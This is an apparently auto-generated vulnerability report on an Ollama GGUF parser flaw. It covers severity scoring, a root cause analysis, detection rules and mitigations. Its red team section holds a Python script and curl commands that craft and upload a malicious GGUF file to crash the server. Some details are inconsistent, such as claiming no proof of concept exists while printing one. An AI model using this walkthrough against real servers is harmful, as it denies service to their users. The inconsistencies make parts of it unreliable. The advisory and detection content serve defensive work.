CVE-2026-65315

Executive Summary

CVE-2026-65315 is a High severity (CVSS 7.5) uncontrolled memory allocation vulnerability in the Ollama GGUF metadata parser. The flaw allows an unauthenticated, remote attacker to crash the Ollama server process by uploading a crafted, sub-1KB GGUF model file. The vulnerability resides in the parser's failure to validate attacker-controlled length and count fields against the remaining file size before using them as allocation sizes. This leads to an unrecoverable Go runtime out-of-memory (OOM) fatal error or a makeslice panic, bypassing the server's recovery middleware and causing a complete denial of service (DoS).

Business Impact: Organizations running Ollama for local AI inference, particularly in development, research, and production environments, are at risk. The attack requires no authentication and can be executed by any user with network access to the Ollama API (default port 11434). The likely attacker is a script kiddie or a malicious actor seeking to disrupt AI services, as the exploitation is trivial and requires minimal resources.

Urgency Assessment: Despite a CVSS score of 7.5, the EPSS exploitation probability is 0.0% as of 2026-07-22, indicating no observed exploitation in the wild. However, the vulnerability is trivial to exploit and no patch is currently available. The risk is elevated for internet-facing Ollama instances. The vulnerability is not listed on the CISA KEV.

Key Facts:

• Vendor: Ollama
• Affected Version: HEAD f0078ae (and likely all prior versions)
• Patch Status: Unpatched
• Attack Vector: Network, unauthenticated
• Impact: Denial of Service (Server Crash)

CVSS Breakdown & Threat Level

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Qualitative Severity: High

EPSS Interpretation: An EPSS score of 0.0% means the model predicts a near-zero probability of exploitation in the wild within the next 30 days. This is typical for a newly published CVE with no known PoC or active exploitation. This score is expected to rise rapidly once a PoC is released.

Historical Comparison: This vulnerability is similar in class to CVE-2024-37032 (Ollama path traversal) and CVE-2024-39720 (Ollama server crash via crafted request), both of which affected the same software and were remotely exploitable. The core issue (unvalidated user input leading to resource exhaustion) is a common pattern in parsers for binary formats.

Temporal & Environmental Scores: The temporal score is currently equal to the base score (7.5) due to the lack of a patch or official mitigation. The environmental score can be reduced by restricting network access to the Ollama API (e.g., firewalling port 11434) or by implementing authentication.

Technical Deep Dive & Attack Mechanics

Root Cause Analysis: The vulnerability is a classic case of missing input validation. The GGUF file format contains metadata headers with fields specifying the lengths of strings, the number of dimensions in tensors, and the count of items in metadata arrays. The Ollama parser reads these fields and uses them directly as arguments to make() or make([]T, n) in Go, without checking if the requested allocation size (n) is reasonable given the remaining size of the file being parsed.

Step-by-Step Exploitation:

1. Crafting the Payload: The attacker creates a valid GGUF file header. Within the metadata section, they set a field (e.g., a string length or tensor dimension count) to an extremely large value, such as 0xFFFFFFFF (4,294,967,295). The total file size is kept under 1KB to ensure it is accepted by the blob upload endpoint.
2. Upload: The attacker uploads this crafted GGUF file to the Ollama server using the blob upload API endpoint (POST /api/blobs/sha256:<digest>).
3. Triggering the Parse: The attacker then initiates a model creation or pull request that causes the server to parse the uploaded GGUF file. This can be done via the POST /api/create endpoint.
4. Memory Allocation: The GGUF parser reads the attacker-controlled length field. It then attempts to allocate a slice of that size in memory using Go's make() function. For example, if the field is a string length, the parser might call make([]byte, attacker_controlled_length).
5. Server Crash: The requested allocation size is far larger than the available system memory. The Go runtime either:
   • OOM Fatal Error: The operating system kills the Ollama process for exceeding its memory limit.
   • makeslice Panic: Go's runtime detects that the requested allocation would overflow a uintptr or exceed the maximum allowed slice size and panics. This panic is not caught by the server's recovery middleware because it is a fatal runtime error, not a standard panic.

Attack Surface:

• Port: 11434 (default Ollama API port)
• Endpoints: /api/blobs/, /api/create, /api/pull
• Protocol: HTTP

Pre-conditions:

• Network access to the Ollama API.
• The Ollama server must be running a vulnerable version (HEAD f0078ae or earlier).
• No authentication is required.

Why Standard Defenses Fail:

• WAF: A Web Application Firewall (WAF) would need to parse the GGUF binary format to detect the malicious fields, which is non-trivial.
• Rate Limiting: Rate limiting would not prevent a single, small request from crashing the server.
• Input Validation: The server itself fails to validate the input; external defenses cannot easily compensate without deep protocol inspection.

Vulnerable vs. Patched Code Analysis

Since no patch is available, the following is a hypothetical analysis based on the vulnerability description.

Vulnerable Code (Hypothetical Go Pseudocode):

func parseGGUFMetadata(data []byte) {
    // ... read header ...
    stringLength := binary.LittleEndian.Uint32(data[offset:]) // Attacker controls this
    offset += 4

    // VULNERABLE: No check against len(data) - offset
    stringData := make([]byte, stringLength) // Can cause OOM or panic
    copy(stringData, data[offset:])
    // ...
}

Patched Code (Hypothetical Go Pseudocode):

func parseGGUFMetadata(data []byte) {
    // ... read header ...
    stringLength := binary.LittleEndian.Uint32(data[offset:])
    offset += 4

    // PATCHED: Validate against remaining data size
    if int(stringLength) > len(data) - offset {
        // Log error, return error, or skip field
        return fmt.Errorf("invalid string length: %d exceeds remaining data size %d", stringLength, len(data)-offset)
    }

    stringData := make([]byte, stringLength)
    copy(stringData, data[offset:])
    // ...
}

Why the Fix is Sufficient: The patch adds a bounds check before the allocation. By comparing the requested length against the remaining bytes in the data buffer, the parser can reject malicious files that claim to have huge fields. This prevents the uncontrolled memory allocation.

Regression Considerations: The patch is low-risk. It only adds a validation check that rejects malformed files. Legitimate GGUF files will always have metadata fields that fit within the file size.

Timeline & Disclosure History

• CVE Publication Date: 2026-07-21T21:18:24.567Z
• Estimated Discovery: The vulnerability was likely discovered through fuzzing or code review of the GGUF parser.
• Disclosure Process: The CVE was published by a CNA (likely MITRE or the Ollama project itself). No details on vendor coordination are available.
• Known Exploitation in the Wild: No known active exploitation as of 2026-07-22.
• CISA KEV: Not listed.

Threat Intelligence Context

Threat Actor Profile: This vulnerability is most likely to be exploited by:

• Script Kiddies: The attack is trivial to execute with a simple script. The goal is to cause disruption for "lulz."
• Hacktivists: Groups targeting AI service providers to make a political statement.
• Ransomware Operators (Low Probability): While a DoS is not directly profitable, it could be used as a distraction during a ransomware deployment.

Attack Campaign Context: No specific campaigns are associated with this CVE.

Geographic Targeting: None observed.

Industry Verticals Most at Risk:

• Technology: Companies running Ollama for internal AI tools.
• Research & Academia: Universities using Ollama for AI research.
• Finance: Any financial institution experimenting with local LLMs.

Connection to Similar Vulnerabilities: This is a classic "integer overflow leading to buffer overflow" or "uncontrolled allocation" vulnerability, commonly found in parsers for binary formats (e.g., image parsers, network protocol parsers). CVE-2023-44487 (HTTP/2 Rapid Reset) is a different class of DoS, but both target server availability.

Exploitation & Lab Setup

Red Team Section

Lab Setup:

1. Environment: A Docker container running the vulnerable Ollama version.

   docker run -d --name ollama-vuln -p 11434:11434 ollama/ollama:0.1.32 # Example version, use HEAD f0078ae if available
   

2. Prerequisites: Python 3 with requests library.

3. Exploitation Walkthrough:

   Step 1: Craft the Malicious GGUF File Create a Python script to generate a minimal GGUF file with a malicious metadata string length.

   import struct
   import hashlib
   
   # Minimal GGUF header (version 3)
   magic = b'GGUF'
   version = 3
   tensor_count = 0
   metadata_kv_count = 1  # One key-value pair
   
   # Malicious metadata value: a string with an impossibly large length
   key = b"test_key"
   value_type = 8  # String type
   # The length field is the attacker-controlled value
   malicious_length = 0xFFFFFFFF  # 4GB
   
   # Build the file
   header = struct.pack('<4sII', magic, version, tensor_count)
   metadata_header = struct.pack('<I', metadata_kv_count)
   key_length = struct.pack('<I', len(key))
   value_header = struct.pack('<I', value_type)
   value_length = struct.pack('<I', malicious_length)
   
   payload = header + metadata_header + key_length + key + value_header + value_length
   
   # The file must be under 1KB to be accepted by the blob upload
   # We can pad it to exactly 1KB
   payload += b'\x00' * (1024 - len(payload))
   
   # Calculate SHA256 digest for blob upload
   digest = hashlib.sha256(payload).hexdigest()
   
   with open('malicious.gguf', 'wb') as f:
       f.write(payload)
   
   print(f"Created malicious GGUF file with digest: sha256:{digest}")
   

   Step 2: Upload the Blob

   curl -X POST http://localhost:11434/api/blobs/sha256:<digest> -T malicious.gguf
   

   Step 3: Trigger the Parse Create a model file (Modelfile) that references the uploaded blob.

   FROM /root/.ollama/models/blobs/sha256:<digest>
   

   Then create the model:

   curl -X POST http://localhost:11434/api/create -d '{"name": "testmodel", "modelfile": "FROM /root/.ollama/models/blobs/sha256:<digest>"}'
   

   Expected Output: The Ollama server process will crash. Any subsequent requests to the API will fail with a connection refused error.

Post-Exploitation: The attacker achieves a denial of service. The server must be manually restarted. No data is compromised.

Blue Team Section

Detection:

• Log Entries: The Ollama server logs will show a fatal error or panic message just before the crash. Look for logs containing:
  • fatal error: runtime: out of memory
  • panic: runtime error: makeslice: len out of range
  • panic: runtime error: makeslice: cap out of range
• Network Traffic: A single HTTP POST request to /api/blobs/ with a body size of exactly 1024 bytes, followed by a POST to /api/create/.
• Endpoint Indicators: The Ollama process (ollama) will exit unexpectedly. System monitoring tools will report a process crash.

Indicators of Compromise (IOCs)

No confirmed IOCs available — the following patterns are illustrative of exploitation attempts:

Network IOCs:

• Type: HTTP Request

• Value: POST /api/blobs/sha256:[a-f0-9]{64} with Content-Length: 1024

• Description: Upload of a crafted GGUF file.

• Type: HTTP Request

• Value: POST /api/create with body containing "FROM /root/.ollama/models/blobs/sha256:[a-f0-9]{64}"

• Description: Request to create a model from the malicious blob.

File System Artifacts:

• Type: File
• Value: /root/.ollama/models/blobs/sha256:[a-f0-9]{64}
• Description: The uploaded malicious GGUF file (1024 bytes).

Process Execution Anomalies:

• Type: Process Crash
• Value: ollama process exits with signal 9 (SIGKILL) or a panic.
• Description: The server process is terminated by the OS or Go runtime.

Log Entries:

• Type: Application Log
• Value: fatal error: runtime: out of memory
• Description: Go runtime fatal error indicating OOM.

Detection Engineering

YARA Rule

rule CVE_2026_65315_Ollama_GGUF_Exploit {
    meta:
        description = "Detects crafted GGUF files exploiting CVE-2026-65315 in Ollama"
        author = "Valters IT Hub"
        date = "2026-07-22"
        reference = "https://www.valtersit.com/cve/cve-2026-65315"
    strings:
        $gguf_magic = { 47 47 55 46 } // "GGUF" magic bytes
        $large_length = { FF FF FF FF } // 0xFFFFFFFF, a common malicious length value
        $small_file_size = { 00 04 } // File size field indicating a file under 1024 bytes (0x400)
    condition:
        $gguf_magic at 0 and
        #large_length >= 1 and
        filesize < 2KB
}

Sigma Rule (SIEM)

title: CVE-2026-65315 Ollama GGUF Exploitation Attempt
id: e0f734ee-4063-4052-83d7-1c7a28cda678
status: experimental
description: Detects HTTP requests to Ollama API that may indicate exploitation of CVE-2026-65315.
author: Valters IT Hub
date: 2026-07-22
references:
    - https://www.valtersit.com/cve/cve-2026-65315
logsource:
    category: webserver
    product: ollama
detection:
    selection_blob_upload:
        cs-method: 'POST'
        cs-uri-stem: '/api/blobs/*'
        sc-status: 200
        cs-bytes: 1024
    selection_model_create:
        cs-method: 'POST'
        cs-uri-stem: '/api/create'
        cs-uri-query: '*blobs*'
    condition: selection_blob_upload followed by selection_model_create within 5 seconds
falsepositives:
    - Legitimate upload of a very small GGUF model file (unlikely but possible)
level: high

Suricata IDS Rule

alert http any any -> any 11434 (
    msg:"CVE-2026-65315 Ollama GGUF Exploit - Blob Upload";
    flow:to_server,established;
    http.method; content:"POST";
    http.uri; content:"/api/blobs/";
    http.request_body; content:"|47 47 55 46|"; offset:0; depth:4;
    http.content_len; content:"1024";
    classtype:attempted-dos;
    sid:1000001;
    rev:1;
)

Elastic (EQL) Query

sequence by host.hostname
  [network where
    destination.port == 11434 and
    http.request.method == "POST" and
    http.request.body.content == 1024 and
    url.path : "/api/blobs/*"]
  [network where
    destination.port == 11434 and
    http.request.method == "POST" and
    url.path == "/api/create" and
    http.request.body.content : "*blobs*"]

Splunk SPL Query

index=main sourcetype=ollama:webserver
| transaction clientip maxspan=5s
| where mvcount(mvfilter(match(_raw, "POST /api/blobs/"))) > 0 AND mvcount(mvfilter(match(_raw, "POST /api/create"))) > 0
| table _time, clientip, uri_path, status

Wazuh Rule

<group name="ollama,">
  <rule id="100001" level="12">
    <decoded_as>json</decoded_as>
    <field name="method">POST</field>
    <field name="url">\.*/api/blobs/.*</field>
    <field name="status">200</field>
    <description>Ollama: Potential CVE-2026-65315 exploitation - blob upload detected</description>
    <mitre>
      <id>T1499</id>
    </mitre>
  </rule>
</group>

Remediation & Mitigation

Immediate Actions (0-24 hours)

• No Patch Available: As no patch exists, the primary mitigation is to restrict network access.
• Network-Level Mitigation:
  • Firewall: Block inbound access to port 11434 from untrusted networks (e.g., the internet). Only allow access from trusted internal IPs.
  • Reverse Proxy: Place Ollama behind a reverse proxy (e.g., Nginx) that can perform authentication and rate limiting.
• Authentication: Enable authentication on the Ollama API if supported by the version in use. This will prevent unauthenticated exploitation.

Short-term (1-7 days)

• Configuration Hardening:
  • Disable the blob upload API if not required.
  • Set resource limits on the Ollama container using Docker's --memory flag to limit the impact of an OOM attack.
• Monitoring: Implement the detection rules provided in this report to alert on exploitation attempts.
• Vulnerability Scanning: Use a tool like trivy to scan the Ollama container image for known vulnerabilities.

Long-term

• Architecture Changes: Consider running Ollama in a sandboxed environment (e.g., a dedicated VM or container with strict resource limits).
• Security Control Improvements: Advocate for the Ollama project to implement input validation in the GGUF parser.
• Developer Training: Ensure developers are trained on secure coding practices for parsing untrusted binary data.

Validation

To confirm a patch has been applied (once available):

1. Check the installed version: ollama --version
2. Compare against the patched version number from the vendor advisory.
3. Attempt to reproduce the vulnerability in a test environment to confirm the fix is effective.

References & Resources

• NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-65315
• CVE.org: https://www.cve.org/CVERecord?id=CVE-2026-65315
• Vendor advisory: See vendor security page
• OSV: https://osv.dev/vulnerability/CVE-2026-65315 (if applicable)
• Related CWE: https://cwe.mitre.org/data/definitions/789.html
• MITRE ATT&CK: https://attack.mitre.org/techniques/T1499/

Report generated by Valters IT Hub Neural Engine v25 | 2026-07-22 | https://www.valtersit.com/cve/cve-2026-65315